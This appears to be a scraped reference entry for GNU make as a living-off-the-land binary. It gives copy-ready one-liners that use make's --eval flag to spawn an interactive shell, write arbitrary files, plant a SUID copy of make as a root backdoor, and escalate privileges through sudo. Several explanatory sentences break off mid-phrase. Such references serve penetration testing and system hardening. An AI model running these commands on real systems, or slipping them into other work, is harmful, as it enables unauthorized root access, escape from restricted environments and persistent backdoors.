All these examples only work with GNU
make due to the lack of support of the
--eval flag. The same can be achieved by using a proper
Makefile or by passing the content via stdin using
It can be used to break out from restricted environments by spawning an interactive system shell.
COMMAND='/bin/sh' make -s --eval=$'x:\n\t-'"$COMMAND"
It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.
Requires a newer GNU
LFILE=file_to_write make -s --eval="\$(file >$LFILE,DATA)" .
It runs with the SUID bit set and may be exploited to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run
sh -p, omit the
-p argument on systems like Debian (<= Stretch) that allow the default
sh shell to run with SUID privileges.
sudo sh -c 'cp $(which make) .; chmod +s ./make' COMMAND='/bin/sh -p' ./make -s --eval=$'x:\n\t-'"$COMMAND"
It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on
COMMAND='/bin/sh' sudo make -s --eval=$'x:\n\t-'"$COMMAND"